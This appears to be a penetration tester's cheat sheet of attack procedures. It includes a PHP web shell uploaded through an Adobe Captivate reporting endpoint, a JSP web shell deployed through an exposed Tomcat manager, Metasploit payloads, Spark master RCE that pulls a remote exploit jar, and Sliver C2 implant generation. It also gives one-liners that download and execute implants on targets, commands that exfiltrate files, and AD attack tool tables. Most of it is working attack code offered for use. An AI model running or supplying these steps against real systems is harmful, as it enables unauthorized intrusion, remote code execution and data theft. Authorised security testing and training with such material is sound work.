Adobe Captivate Quiz Reporting Feature 'internalServerReporting.php' File Upload

Using Burp, intercept a GET request to the target and throw it into repeater. Next, right click and Change request method to POST.

Here's what the request should look like:

```
POST /internalServerReporting.php HTTP/1.1
Host: <target running adobe captivate>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, sdch
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 201

CompanyName=.&DepartmentName=.&CourseName=.&Filename=test.php&Filedata=<?php

if(isset($_REQUEST['cmd'])){
 echo "<pre>";
 $cmd =($_REQUEST['cmd']);
 system($cmd);
 echo "</pre>";
 die;
}

?>
```

Once you've sent it and gotten a 200 back, you can access the web shell like so:

http://adobetarget/CaptivateResults/test.php?cmd=id

Don't forget to clean it up when you're done:

<http://adobetarget/CaptivateResults/test.php?cmd=del test.php>

With Metasploit: https://hydrasky.com/network-security/create-a-web-backdoor-payload-with-metasploit/ Create the payload:

`msfvenom -p php/meterpreter/bind_tcp LPORT=4000 > backdoor.php` In php_listener.rc:

```
use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT 4444
```

Run the rc file:

```
msfconsole -r php_listener.rc
```

Upload the php code to the target server. I made sure to replace the `/*<?php /**/` with `<?php` at the top of the file, and replaced the `%` at the end of the file with a `?>` before doing so with Burp repeater.

Once the file is uploaded, open the file on the target server. Follow this with an `exploit` in metasploit.

You should have a shell at this point.

Maybe give this a shot https://dl.packetstormsecurity.net/papers/attack/root3.pdf

Enumerate missing patches on a windows machine

```
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
```

Coldfusion Security Resources

https://nets.ec/Coldfusion_hacking http://breenmachine.blogspot.com/2013/03/cool-coldfusion-post-exploitation.html https://github.com/reider-roque/pentest-tools/blob/master/shells/webshell.cfm

RCE with vulnerable endpoint in Apache Tomcat

If the `/manager/text/deploy` endpoint is exposed on an Apache Tomcat site, you can do the following to get a shell:

```
# Create a malicious webshell, index.jsp:
```

```
<FORM METHOD=GET ACTION='index.jsp'>
  <INPUT name='cmd' type=text>
  <INPUT type=submit value='Run'>
  </FORM>
  <%@ page import="java.io.*" %>
  <%
     String cmd = request.getParameter("cmd");
     String output = "";
     if(cmd != null) {
        String s = null;
        try {
           Process p = Runtime.getRuntime().exec(cmd,null,null);
           BufferedReader sI = new BufferedReader(new
  InputStreamReader(p.getInputStream()));
           while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
     }
  %>
  <pre><%=output %></pre>
```

Turn it into a war file:

```
jar -cvf webshell.war index.jsp
```

Upload it: curl –upload-file webshell.war “

https://insecure.site.com/manager/text/deploy?path=/evil"

Access the webshell:

https://insecure.site.com/evil/index.jsp

You can also get a file upload page going as well with the war file from here. Follow the steps above to deploy it, and find the file upload page at /UploadServlet30/upload.jsp.

Once you're finished, you can also remove the webshell with the following command:

```
curl "https://insecure.site/manager/text/undeploy?path=/evil"
```

Resources:

- https://pentesterlab.com/exercises/cve-2007-1860/course
- https://gist.github.com/pete911/6111816
- https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html
- https://stackoverflow.com/questions/4432684/tomcat-manager-remote-deploy-script
- https://www.codejava.net/java-ee/servlet/java-file-upload-example-with-servlet-30-api

---

IDRAC to shell

Try logging into the web console with `root`/`calvin`.

If this works, go to the **Virtual Console** and:

1. Change Plug-in Type to HTML5
2. Change Default action upon session sharing request timeout to Full access
3. Click Apply
4. Then click Launch Virtual Console

If you are not able to login because there are existing sessions, you can kill them by doing the following:

1. Click the plus sign next to **iDRAC Settings**
2. Click Sessions
3. Click the trash can icon next to the existing sessions

Once this is done, try logging in via the Virtual Console.

Start ASDM via CLI

If you randomly happen to be targeting an ASDM, here's the command to interact with it from the terminal:

```
javaws https://target:8443/admin/public/asdm.jnlp
```

Resource: https://community.cisco.com/t5/network-security/start-asdm-from-command-line/td-p/1593342

Rogue LDAP server

This is very useful if you have an LDAP hookup that you're looking to extract credentials from, and `nc -lvp 389` isn't working out.

Responder is also supposed to be able to do this, but I haven't had much luck with it.

Resource: https://www.devilsec.io/2019/04/29/hacking-printers-for-profit/

Spark

If you find a spark master belonging to your target that's externally exposed, you might have RCE.

Exploitation via 7077

To start, stand up a box that will serve as a listener.

Next, clone this repo and run `docker-compose up -d`.

Next copy the bin folder that is generated in the docker container to your host system. This should have utilities such as `spark-submit` in it.

Next, run this command:

```
./bin/spark-submit --master spark://hostname:7077 --deploy-mode cluster --class Exploit
https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar 'wget
listenerbox:portoobserviceison'
```

Exploitation via 6066

Set up a listener on a system you control:

```
python -m SimpleHTTPServer 9999
```

Create `submit.sh`:

```
#!/bin/bash
target=$1
version=$2
jar_url=$3
jar_args=$4
curl -X POST http://${target}/v1/submissions/create \
--header "Content-Type:application/json;charset=UTF-8" \
--data @<(cat <<EOF
{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "${version}",
  "appArgs": [
    "${jar_args}"
  ],
  "appResource": "${jar_url}",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "${jar_url}",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://${target}"
  }
}
EOF
)
```

Next, run the following command:

```
bash submit.sh sparkmaster:6066 <spark version - i.e. 2.2.0> https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
"wget <ip of system running the listener>:9999"
```

ElasticSearch

Dump all of the data from all of the indices

```
## Install the elasticdump tool
sudo npm install elasticdump -g

multielasticdump --direction=dump --input=https://target_es_node:target_es_node_port
--output=target_es_node_dump --type=data
```

Resources: https://stackoverflow.com/questions/19243074/dump-all-documents-of-elasticsearch
https://gist.github.com/fijimunkii/20227aff19aafa10dbdb654e2770b287

Sliver c2

Create server on AWS Ubuntu 20.04 instance

Start by getting the latest release:

```
wget $(curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest | jq
-r '.assets[].browser_download_url' | grep 'server_linux')
```

Next, install the required dependencies:

```
sudo apt-get install -y mingw-w64 binutils-mingw-w64 g++-mingw-w64
```

Next, unzip and run the server:

```
unzip sliver-server_linux.zip
chmod +x sliver-server
```

```
sudo ./sliver-server
```

Generate HTTPS implant

You can get your public hostname with this command:

```
curl 169.254.169.254/latest/meta-data/public-hostname
```

-or-

you can pull it from the EC2 Web UI, or use the `aws` cli tool, etc.

I like to create a folder to store the implants in, but this an option step if that's not for you:

```
mkdir implants
```

Note: You'll need to modify the commands below if you don't create this folder. If you have trouble with that, you maybe shouldn't be using this tool or hacking. You should learn some linux first.

Next, you can run this command to generate an implant. Here's an example for a linux target:

```
generate --http your_ec2_public_hostname --save implants/name_of_your_implant_file
--skip-symbols --os linux
```

Note: You may not want to skip the symbols if you're being sneaky

Start HTTPS listener on 443

```
https -l 443
```

Transfer and run the implant

On the server, we can use `simplehttpserver` (make sure you security group is configured for 8080 inbound) to host the payload for 30 seconds:

```
pushd implants ; timeout 30 python3 -m http.server 8080 ; popd
```

On the target, grab it:

```
wget http://your_ec2_public_hostname:8080/name_of_your_implant_file && chmod +x
name_of_your_implant_file
&& ./name_of_your_implant_file'
```

If you're exploiting your target through a command injection attack of sorts, you may want to do something like this to grab and run it:

```
bash -c "cd /tmp && wget http://your_ec2_public_hostname:8080/name_of_your_implant_file
&& chmod +x name_of_your_implant_file && ./name_of_your_implant_file &"
```

Debug implant

```
generate --debug --http your_ec2_public_hostname: --save implants --skip-symbols
--os linux
```

Get a shell on your target

At this point you're back on your server. Now, this isn't great in terms of OpSec, but in the event you're doing a pentest and don't care about the noise:

```
sessions -i session_that_came_in
shell
```

Note: session_that_came_in is probably 1, but I don't want to make any assumptions in case you have other sessions that you've been testing with.

Resources: https://gist.github.com/steinwaywhw/a4cd19cda655b8249d908261a62687f8

- getting the latest release https://github.com/BishopFox/sliver/wiki/Getting-Started - wiki for the c2 https://vk9-sec.com/how-to-set-up-use-c2-sliver/ - more complete example of how to use the c2

Mac OS mtls Implant generation

```
generate --mtls your_ec2_public_hostname --save implants/name_of_your_implant_file
--skip-symbols --os mac
```

List implants

```
implants
```

Delete implant

```
implants rm <name of implant from previous command>
```

List jobs

```
jobs
```

Show information about sessions

```
sessions -i <job id from previous command>
info
```

Get shell

Not great in terms of OpSec, but some of us have the luxury of not having to care about that at times:

```
sessions -i <job id from previous command>
shell
```

Exit shell

```
exit
```

Follow this with CTRL+d to get back to the c2 server menu

Resource: https://github.com/BishopFox/sliver/issues/105

Download file

This example will download ubuntu's bash history file to the directory the server binary is in:

```
download /home/ubuntu/.bash_history
```

This will download the `cloud-init.log` to the loot folder in the directory that the server binary is in:

```
download /var/log/cloud-init.log loot
```

Download and extract folder

```
# Download the folder
download /path/to/folder loot/folder.tar.gz
# Extract it
gunzip < folder.tar.gz | tar -xvf -
```

Resource: https://help.nexcess.net/77285-other/how-to-decompress-files-in-gzip

Upload file

```
upload local_dir remote_dir
```

Upload mimikatz

```
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-
20210511/mimikatz_trunk.zip
upload /home/kali/ttp_tooling/mimikatz_trunk.zip C:/Temp/mimikatz.zip
```

View log for errors

```
cat ~/.sliver/logs/sliver.log
```

Resource: https://github.com/BishopFox/sliver/issues/211

Execute command

```
# Run a binary
execute C:/temp/evil.exe
# Run a command
execute shutdown /r /t 0
```

Crack VNC password

```
git clone https://github.com/jeroennijhof/vncpwd.git
cd vncpwd
make
./vncpwd /root/.vnc/passwd
```

Resource: https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc

---

Change columns in Process Explorer

Right click an existing column and click **Select Columns**

Original Article

External Recon Information Gathering

Data Point	Description
`IP Space`	Valid ASN for our target, netblocks in use for the organization's public-facing infrastructure, cloud presence and the hosting providers, DNS record entries, etc.
`Domain Information`	Based on IP data, DNS, and site registrations. Who administers the domain? Are there any subdomains tied to our target? Are there any publicly accessible domain services present? (Mailservers, DNS, Websites, VPN portals, etc.) Can we determine what kind of defenses are in place? (SIEM, AV, IPS/IDS in use, etc.)
`Schema Format`	Can we discover the organization's email accounts, AD usernames, and even password policies? Anything that will give us information we can use to build a valid username list to test external-facing services for password spraying, credential stuffing, brute forcing, etc.
`Data Disclosures`	For data disclosures we will be looking for publicly accessible files (.pdf, .ppt, .docx, .xlsx, etc.) for any information that helps shed light on the target. For example, any published files that contain `intranet` site listings, user metadata, shares, or other critical software or hardware in the environment (credentials pushed to a public GitHub repo, the internal AD username format in the metadata of a PDF, for example.)
`Breach Data`	Any publicly released usernames, passwords, or other critical information that can help an attacker gain a foothold.

Resource	Examples
`ASN / IP registrars`	IANA, arin for searching the Americas, RIPE for searching in Europe, BGP Toolkit
`Domain Registrars & DNS`	Domaintools, PTRArchive, ICANN, manual DNS record requests against the domain in question or against well known DNS servers, such as `8.8.8.8`.
`Social Media`	Searching Linkedin, Twitter, Facebook, your region's major social media sites, news articles, and any relevant info you can find about the organization.
`Public-Facing Company Websites`	Often, the public website for a corporation will have relevant info embedded. News articles, embedded documents, and the "About Us" and "Contact Us" pages can also be gold mines.
`Cloud & Dev Storage Spaces`	GitHub, AWS S3 buckets & Azure Blog storage containers, Google searches using "Dorks"
`Breach Data Sources`	HaveIBeenPwned to determine if any corporate email accounts appear in public breach data, Dehashed to search for corporate emails with cleartext passwords or hashes we can try to crack offline. We can then try these passwords against any exposed login portals (Citrix, RDS, OWA, 0365, VPN, VMware Horizon, custom applications, etc.) that may use AD authentication.

Tools of the Trade

Tool	Description
PowerView/ SharpView	A PowerShell tool and a .NET port of the same used to gain situational awareness in AD. These tools can be used as replacements for various Windows `net*` commands and more. PowerView and SharpView can help us gather much of the data that BloodHound does, but it requires more work to make meaningful relationships among all of the data points. These tools are great for checking what additional access we may have with a new set of credentials, targeting specific users or computers, or finding some "quick wins" such as users that can be attacked via Kerberoasting or ASREPRoasting.
BloodHound	Used to visually map out AD relationships and help plan attack paths that may otherwise go unnoticed. Uses the SharpHound PowerShell or C# ingestor to gather data to later be imported into the BloodHound JavaScript (Electron) application with a Neo4j database for graphical analysis of the AD environment.
SharpHound	The C# data collector to gather information from Active Directory about varying AD objects such as users, groups, computers, ACLs, GPOs, user and computer attributes, user sessions, and more. The tool produces JSON files which can then be ingested into the BloodHound GUI tool for analysis.
BloodHound.py	A Python-based BloodHound ingestor based on the Impacket toolkit. It supports most BloodHound collection methods and can be run from a non-domain joined attack host. The output can be ingested into the BloodHound GUI for analysis.
Kerbrute	A tool written in Go that uses Kerberos Pre-Authentication to enumerate Active Directory accounts, perform password spraying, and brute-forcing.
Impacket toolkit	A collection of tools written in Python for interacting with network protocols. The suite of tools contains various scripts for enumerating and attacking Active Directory.
Responder	Responder is a purpose-built tool to poison LLMNR, NBT-NS, and MDNS, with many different functions.
Inveigh.ps1	Similar to Responder, a PowerShell tool for performing various network spoofing and poisoning attacks.
C# Inveigh (InveighZero)	The C# version of Inveigh with a semi-interactive console for interacting with captured data such as username and password hashes.
rpcinfo	The rpcinfo utility is used to query the status of an RPC program or enumerate the list of available RPC services on a remote host. The "-p" option is used to specify the target host. For example the command "rpcinfo -p 10.0.0.1" will return a list of all the RPC services available on the remote host, along with their program number, version number, and protocol. Note that this command must be run with sufficient privileges.
rpcclient	A part of the Samba suite on Linux distributions that can be used to perform a variety of Active Directory enumeration tasks via the remote RPC service.
CrackMapExec (CME)	CME is an enumeration, attack, and post-exploitation toolkit which can help us greatly in enumeration and performing attacks with the data we gather. CME attempts to "live off the land" and abuse built-in AD features and protocols like SMB, WMI, WinRM, and MSSQL.
Rubeus	Rubeus is a C# tool built for Kerberos Abuse.

Tool	Description
GetUserSPNs.py	Another Impacket module geared towards finding Service Principal names tied to normal users.
Hashcat	A great hash cracking and password recovery tool.
enum4linux	A tool for enumerating information from Windows and Samba systems.
enum4linux-ng	A rework of the original Enum4linux tool that works a bit differently.
ldapsearch	Built-in interface for interacting with the LDAP protocol.
windapsearch	A Python script used to enumerate AD users, groups, and computers using LDAP queries. Useful for automating custom LDAP queries.
DomainPasswordSpray.ps1	DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain.
LAPSToolkit	The toolkit includes functions written in PowerShell that leverage PowerView to audit and attack Active Directory environments that have deployed Microsoft's Local Administrator Password Solution (LAPS).
smbmap	SMB share enumeration across a domain.
psexec.py	Part of the Impacket toolkit, it provides us with Psexec-like functionality in the form of a semi-interactive shell.
wmiexec.py	Part of the Impacket toolkit, it provides the capability of command execution over WMI.
Snaffler	Useful for finding information (such as credentials) in Active Directory on computers with accessible file shares.
smbserver.py	Simple SMB server execution for interaction with Windows hosts. Easy way to transfer files within a network.
setspn.exe	Adds, reads, modifies and deletes the Service Principal Names (SPN) directory property for an Active Directory service account.
Mimikatz	Performs many functions. Notably, pass-the-hash attacks, extracting plaintext passwords, and Kerberos ticket extraction from memory on a host.
secretsdump.py	Remotely dump SAM and LSA secrets from a host.
evil-winrm	Provides us with an interactive shell on a host over the WinRM protocol.
mssqlclient.py	Part of the Impacket toolkit, it provides the ability to interact with MSSQL databases.
noPac.py	Exploit combo using CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user.
rpcdump.py	Part of the Impacket toolset, RPC endpoint mapper.
CVE-2021-1675.py	Printnightmare PoC in python.
ntlmrelayx.py	Part of the Impacket toolset, it performs SMB relay attacks.
PetitPotam.py	PoC tool for CVE-2021-36942 to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions.

Tool	Description
gettgtpkinit.py	Tool for manipulating certificates and TGTs.
getnthash.py	This tool will use an existing TGT to request a PAC for the current user using U2U.
adidnsdump	A tool for enumerating and dumping DNS records from a domain. Similar to performing a DNS Zone transfer.
gpp-decrypt	Extracts usernames and passwords from Group Policy preferences files.
GetNPUsers.py	Part of the Impacket toolkit. Used to perform the ASREPRoasting attack to list and obtain AS-REP hashes for users with the 'Do not require Kerberos preauthentication' set. These hashes are then fed into a tool such as Hashcat for attempts at offline password cracking.
lookupsid.py	SID bruteforcing tool.
ticketer.py	A tool for creation and customization of TGT/TGS tickets. It can be used for Golden Ticket creation, child to parent trust attacks, etc.
raiseChild.py	Part of the Impacket toolkit, It is a tool for automated child to parent domain privilege escalation.
Active Directory Explorer	Active Directory Explorer (AD Explorer) is an AD viewer and editor. It can be used to navigate an AD database and view object properties and attributes. It can also be used to save a snapshot of an AD database for offline analysis. When an AD snapshot is loaded, it can be explored as a live version of the database. It can also be used to compare two AD database snapshots to see changes in objects, attributes, and security permissions.
PingCastle	Used for auditing the security level of an AD environment based on a risk assessment and maturity framework (based on CMMI adapted to AD security).
Group3r	Group3r is useful for auditing and finding security misconfigurations in AD Group Policy Objects (GPO).
ADRecon	A tool used to extract various data from a target AD environment. The data can be output in Microsoft Excel format with summary views and analysis to assist with analysis and paint a picture of the environment's overall security state.